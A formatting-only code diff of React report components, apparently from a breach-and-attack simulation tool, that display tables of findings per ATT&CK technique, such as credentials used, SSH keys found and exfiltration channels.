</div> </div>
); );

View File

@ -13,10 +13,17 @@ class T1005 extends React.Component {
return ([{ return ([{
Header: "Sensitive data", Header: "Sensitive data",
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, {
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }}, id: 'machine',
]}])}; accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
{Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
]
}])
};
render() { render() {
return ( return (
@ -25,10 +32,10 @@ class T1005 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1005.getDataColumns()} columns={T1005.getDataColumns()}
data={this.props.data.collected_data} data={this.props.data.collected_data}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.collected_data.length} defaultPageSize={this.props.data.collected_data.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1016 extends React.Component { class T1016 extends React.Component {
@ -14,10 +14,16 @@ class T1016 extends React.Component {
return ([{ return ([{
Header: "Network configuration info gathered", Header: "Network configuration info gathered",
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, {
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
] id: 'machine',
}])}; accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
]
}])
};
render() { render() {
return ( return (
@ -26,10 +32,10 @@ class T1016 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1016.getNetworkInfoColumns()} columns={T1016.getNetworkInfoColumns()}
data={this.props.data.network_info} data={this.props.data.network_info}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.network_info.length} defaultPageSize={this.props.data.network_info.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers" import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
class T1018 extends React.Component { class T1018 extends React.Component {
@ -10,9 +10,9 @@ class T1018 extends React.Component {
super(props); super(props);
} }
static renderMachines(machines){ static renderMachines(machines) {
let output = []; let output = [];
machines.forEach(function(machine){ machines.forEach(function (machine) {
output.push(renderMachine(machine)) output.push(renderMachine(machine))
}); });
return (<div>{output}</div>); return (<div>{output}</div>);
@ -21,12 +21,23 @@ class T1018 extends React.Component {
static getScanInfoColumns() { static getScanInfoColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }}, {
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }}, id: 'machine',
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }}, accessor: x => renderMachineFromSystemData(x.monkey),
] style: {'whiteSpace': 'unset'}
}])}; },
{Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
{
Header: 'Systems found',
id: 'systems',
accessor: x => T1018.renderMachines(x.machines),
style: {'whiteSpace': 'unset'}
},
]
}])
};
render() { render() {
return ( return (
@ -35,10 +46,10 @@ class T1018 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1018.getScanInfoColumns()} columns={T1018.getScanInfoColumns()}
data={this.props.data.scan_info} data={this.props.data.scan_info}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.scan_info.length} defaultPageSize={this.props.data.scan_info.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers" import {renderMachine, ScanStatus} from "./Helpers"
class T1021 extends React.Component { class T1021 extends React.Component {
@ -13,12 +13,20 @@ class T1021 extends React.Component {
static getServiceColumns() { static getServiceColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), {
style: { 'whiteSpace': 'unset' }, width: 160}, Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, style: {'whiteSpace': 'unset'}, width: 160
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, },
] {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
}])}; {
Header: 'Valid account used',
id: 'credentials',
accessor: x => this.renderCreds(x.successful_creds),
style: {'whiteSpace': 'unset'}
},
]
}])
};
static renderCreds(creds) { static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span> return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers" import {getUsageColumns} from "./Helpers"
class T1035 extends React.Component { class T1035 extends React.Component {
@ -17,10 +17,10 @@ class T1035 extends React.Component {
<br/> <br/>
{this.props.data.services.length !== 0 ? {this.props.data.services.length !== 0 ?
<ReactTable <ReactTable
columns={getUsageColumns()} columns={getUsageColumns()}
data={this.props.data.services} data={this.props.data.services}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.services.length} defaultPageSize={this.props.data.services.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -13,9 +13,11 @@ class T1041 extends React.Component {
return ([{ return ([{
Header: "Data exfiltration channels", Header: "Data exfiltration channels",
columns: [ columns: [
{Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }}, {Header: 'Source', id: 'src', accessor: x => x.src, style: {'whiteSpace': 'unset'}},
{Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }} {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: {'whiteSpace': 'unset'}}
]}])}; ]
}])
};
render() { render() {
return ( return (
@ -24,10 +26,10 @@ class T1041 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1041.getC2Columns()} columns={T1041.getC2Columns()}
data={this.props.data.command_control_channel} data={this.props.data.command_control_channel}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.command_control_channel.length} defaultPageSize={this.props.data.command_control_channel.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers" import {renderMachine, ScanStatus} from "./Helpers"
class T1059 extends React.Component { class T1059 extends React.Component {
@ -14,11 +14,18 @@ class T1059 extends React.Component {
return ([{ return ([{
Header: 'Example commands used', Header: 'Example commands used',
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data.machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: { 'whiteSpace': 'unset' }}, id: 'machine',
] accessor: x => renderMachine(x.data.machine),
}])}; style: {'whiteSpace': 'unset'},
width: 160
},
{Header: 'Approx. Time', id: 'time', accessor: x => x.data.info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data.info.executed_cmds.cmd, style: {'whiteSpace': 'unset'}},
]
}])
};
render() { render() {
return ( return (
@ -27,10 +34,10 @@ class T1059 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1059.getCommandColumns()} columns={T1059.getCommandColumns()}
data={this.props.data.cmds} data={this.props.data.cmds}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.cmds.length} defaultPageSize={this.props.data.cmds.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers" import {getUsageColumns} from "./Helpers"
class T1064 extends React.Component { class T1064 extends React.Component {
@ -17,10 +17,10 @@ class T1064 extends React.Component {
<br/> <br/>
{this.props.data.scripts.length !== 0 ? {this.props.data.scripts.length !== 0 ?
<ReactTable <ReactTable
columns={getUsageColumns()} columns={getUsageColumns()}
data={this.props.data.scripts} data={this.props.data.scripts}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.scripts.length} defaultPageSize={this.props.data.scripts.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers" import {renderMachine, ScanStatus} from "./Helpers"
class T1075 extends React.Component { class T1075 extends React.Component {
@ -11,10 +11,10 @@ class T1075 extends React.Component {
this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login)) this.props.data.successful_logins.forEach((login) => this.setLoginHashType(login))
} }
setLoginHashType(login){ setLoginHashType(login) {
if(login.attempts[0].ntlm_hash !== ""){ if (login.attempts[0].ntlm_hash !== "") {
login.attempts[0].hashType = 'NTLM'; login.attempts[0].hashType = 'NTLM';
} else if(login.attempts[0].lm_hash !== ""){ } else if (login.attempts[0].lm_hash !== "") {
login.attempts[0].hashType = 'LM'; login.attempts[0].hashType = 'LM';
} }
} }
@ -22,12 +22,13 @@ class T1075 extends React.Component {
static getHashColumns() { static getHashColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}},
{Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: { 'whiteSpace': 'unset' }}, {Header: 'Username', id: 'username', accessor: x => x.attempts[0].user, style: {'whiteSpace': 'unset'}},
{Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: { 'whiteSpace': 'unset' }}, {Header: 'Hash type', id: 'hash', accessor: x => x.attempts[0].hashType, style: {'whiteSpace': 'unset'}},
] ]
}])}; }])
};
render() { render() {
return ( return (
@ -36,10 +37,10 @@ class T1075 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1075.getHashColumns()} columns={T1075.getHashColumns()}
data={this.props.data.successful_logins} data={this.props.data.successful_logins}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.successful_logins.length} defaultPageSize={this.props.data.successful_logins.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers" import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
class T1082 extends React.Component { class T1082 extends React.Component {
@ -13,10 +13,16 @@ class T1082 extends React.Component {
static getSystemInfoColumns() { static getSystemInfoColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }}, {
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
] id: 'machine',
}])}; accessor: x => renderMachineFromSystemData(x.machine),
style: {'whiteSpace': 'unset'}
},
{Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: {'whiteSpace': 'unset'}},
]
}])
};
render() { render() {
return ( return (
@ -25,10 +31,10 @@ class T1082 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1082.getSystemInfoColumns()} columns={T1082.getSystemInfoColumns()}
data={this.props.data.system_info} data={this.props.data.system_info}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.system_info.length} defaultPageSize={this.props.data.system_info.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers" import {renderMachine, ScanStatus} from "./Helpers"
class T1086 extends React.Component { class T1086 extends React.Component {
@ -14,11 +14,18 @@ class T1086 extends React.Component {
return ([{ return ([{
Header: 'Example Powershell commands used', Header: 'Example Powershell commands used',
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.data[0].machine), style: { 'whiteSpace': 'unset'}, width: 160 }, {
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: { 'whiteSpace': 'unset' }}, id: 'machine',
] accessor: x => renderMachine(x.data[0].machine),
}])}; style: {'whiteSpace': 'unset'},
width: 160
},
{Header: 'Approx. Time', id: 'time', accessor: x => x.data[0].info.finished, style: {'whiteSpace': 'unset'}},
{Header: 'Command', id: 'command', accessor: x => x.data[0].info.executed_cmds[0].cmd, style: {'whiteSpace': 'unset'}},
]
}])
};
render() { render() {
return ( return (
@ -27,10 +34,10 @@ class T1086 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1086.getPowershellColumns()} columns={T1086.getPowershellColumns()}
data={this.props.data.cmds} data={this.props.data.cmds}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.cmds.length} defaultPageSize={this.props.data.cmds.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers" import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1090 extends React.Component { class T1090 extends React.Component {
@ -13,10 +13,13 @@ class T1090 extends React.Component {
static getProxyColumns() { static getProxyColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machines', {
Header: 'Machines',
id: 'machine', id: 'machine',
accessor: x => renderMachineFromSystemData(x), accessor: x => renderMachineFromSystemData(x),
style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}]) style: {'whiteSpace': 'unset', textAlign: 'center'}
}]
}])
}; };
render() { render() {
@ -26,10 +29,10 @@ class T1090 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1090.getProxyColumns()} columns={T1090.getProxyColumns()}
data={this.props.data.proxies} data={this.props.data.proxies}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.proxies.length} defaultPageSize={this.props.data.proxies.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { ScanStatus } from "./Helpers" import {ScanStatus} from "./Helpers"
class T1105 extends React.Component { class T1105 extends React.Component {
@ -14,11 +14,12 @@ class T1105 extends React.Component {
return ([{ return ([{
Header: 'Files copied', Header: 'Files copied',
columns: [ columns: [
{Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 }, {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: {'whiteSpace': 'unset'}, width: 170},
{Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170}, {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: {'whiteSpace': 'unset'}, width: 170},
{Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}}, {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: {'whiteSpace': 'unset'}},
] ]
}])}; }])
};
render() { render() {
return ( return (
@ -27,10 +28,10 @@ class T1105 extends React.Component {
<br/> <br/>
{this.props.data.status !== ScanStatus.UNSCANNED ? {this.props.data.status !== ScanStatus.UNSCANNED ?
<ReactTable <ReactTable
columns={T1105.getFilesColumns()} columns={T1105.getFilesColumns()}
data={this.props.data.files} data={this.props.data.files}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.files.length} defaultPageSize={this.props.data.files.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { getUsageColumns } from "./Helpers" import {getUsageColumns} from "./Helpers"
class T1106 extends React.Component { class T1106 extends React.Component {
@ -17,10 +17,10 @@ class T1106 extends React.Component {
<br/> <br/>
{this.props.data.api_uses.length !== 0 ? {this.props.data.api_uses.length !== 0 ?
<ReactTable <ReactTable
columns={getUsageColumns()} columns={getUsageColumns()}
data={this.props.data.api_uses} data={this.props.data.api_uses}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.api_uses.length} defaultPageSize={this.props.data.api_uses.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers" import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1107 extends React.Component { class T1107 extends React.Component {
@ -10,8 +10,8 @@ class T1107 extends React.Component {
super(props); super(props);
} }
static renderDelete(status){ static renderDelete(status) {
if(status === ScanStatus.USED){ if (status === ScanStatus.USED) {
return <span>Yes</span> return <span>Yes</span>
} else { } else {
return <span>No</span> return <span>No</span>
@ -21,11 +21,19 @@ class T1107 extends React.Component {
static getDeletedFileColumns() { static getDeletedFileColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }}, {
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }}, Header: 'Machine',
{Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status), id: 'machine',
style: { 'whiteSpace': 'unset' }, width: 160}] accessor: x => renderMachineFromSystemData(x._id.machine),
}])}; style: {'whiteSpace': 'unset'}
},
{Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}},
{
Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
style: {'whiteSpace': 'unset'}, width: 160
}]
}])
};
render() { render() {
return ( return (
@ -34,10 +42,10 @@ class T1107 extends React.Component {
<br/> <br/>
{this.props.data.deleted_files.length !== 0 ? {this.props.data.deleted_files.length !== 0 ?
<ReactTable <ReactTable
columns={T1107.getDeletedFileColumns()} columns={T1107.getDeletedFileColumns()}
data={this.props.data.deleted_files} data={this.props.data.deleted_files}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.deleted_files.length} defaultPageSize={this.props.data.deleted_files.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachine, ScanStatus } from "./Helpers" import {renderMachine, ScanStatus} from "./Helpers"
class T1110 extends React.Component { class T1110 extends React.Component {
@ -13,15 +13,23 @@ class T1110 extends React.Component {
static getServiceColumns() { static getServiceColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), {
style: { 'whiteSpace': 'unset' }, width: 160}, Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, style: {'whiteSpace': 'unset'}, width: 160
{Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, },
{Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }}, {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
{Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160}, {Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}},
{Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}},
] {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160},
}])}; {
Header: 'Successful credentials',
id: 'credentials',
accessor: x => this.renderCreds(x.successful_creds),
style: {'whiteSpace': 'unset'}
},
]
}])
};
static renderCreds(creds) { static renderCreds(creds) {
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span> return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>

View File

@ -16,10 +16,10 @@ class T1129 extends React.Component {
<br/> <br/>
{this.props.data.dlls.length !== 0 ? {this.props.data.dlls.length !== 0 ?
<ReactTable <ReactTable
columns={getUsageColumns()} columns={getUsageColumns()}
data={this.props.data.dlls} data={this.props.data.dlls}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.dlls.length} defaultPageSize={this.props.data.dlls.length}
/> : ""} /> : ""}
</div> </div>
); );

View File

@ -1,7 +1,7 @@
import React from 'react'; import React from 'react';
import '../../../styles/Collapse.scss' import '../../../styles/Collapse.scss'
import ReactTable from "react-table"; import ReactTable from "react-table";
import { renderMachineFromSystemData, ScanStatus } from "./Helpers" import {renderMachineFromSystemData, ScanStatus} from "./Helpers"
class T1145 extends React.Component { class T1145 extends React.Component {
@ -10,11 +10,11 @@ class T1145 extends React.Component {
super(props); super(props);
} }
static renderSSHKeys(keys){ static renderSSHKeys(keys) {
let output = []; let output = [];
keys.forEach(function(keyInfo){ keys.forEach(function (keyInfo) {
output.push(<div key={keyInfo['name']+keyInfo['home_dir']}> output.push(<div key={keyInfo['name'] + keyInfo['home_dir']}>
SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>) SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>)
}); });
return (<div>{output}</div>); return (<div>{output}</div>);
} }
@ -22,16 +22,21 @@ class T1145 extends React.Component {
static getKeysInfoColumns() { static getKeysInfoColumns() {
return ([{ return ([{
columns: [ columns: [
{Header: 'Machine', {
Header: 'Machine',
id: 'machine', id: 'machine',
accessor: x => renderMachineFromSystemData(x.machine), accessor: x => renderMachineFromSystemData(x.machine),
style: { 'whiteSpace': 'unset' }}, style: {'whiteSpace': 'unset'}
{Header: 'Keys found', },
{
Header: 'Keys found',
id: 'keys', id: 'keys',
accessor: x => T1145.renderSSHKeys(x.ssh_info), accessor: x => T1145.renderSSHKeys(x.ssh_info),
style: { 'whiteSpace': 'unset' }}, style: {'whiteSpace': 'unset'}
] },
}])}; ]
}])
};
render() { render() {
return ( return (
@ -40,10 +45,10 @@ class T1145 extends React.Component {
<br/> <br/>
{this.props.data.status === ScanStatus.USED ? {this.props.data.status === ScanStatus.USED ?
<ReactTable <ReactTable
columns={T1145.getKeysInfoColumns()} columns={T1145.getKeysInfoColumns()}
data={this.props.data.ssh_info} data={this.props.data.ssh_info}
showPagination={false} showPagination={false}
defaultPageSize={this.props.data.ssh_info.length} defaultPageSize={this.props.data.ssh_info.length}
/> : ""} /> : ""}
</div> </div>
); );

Some files were not shown because too many files have changed in this diff Show More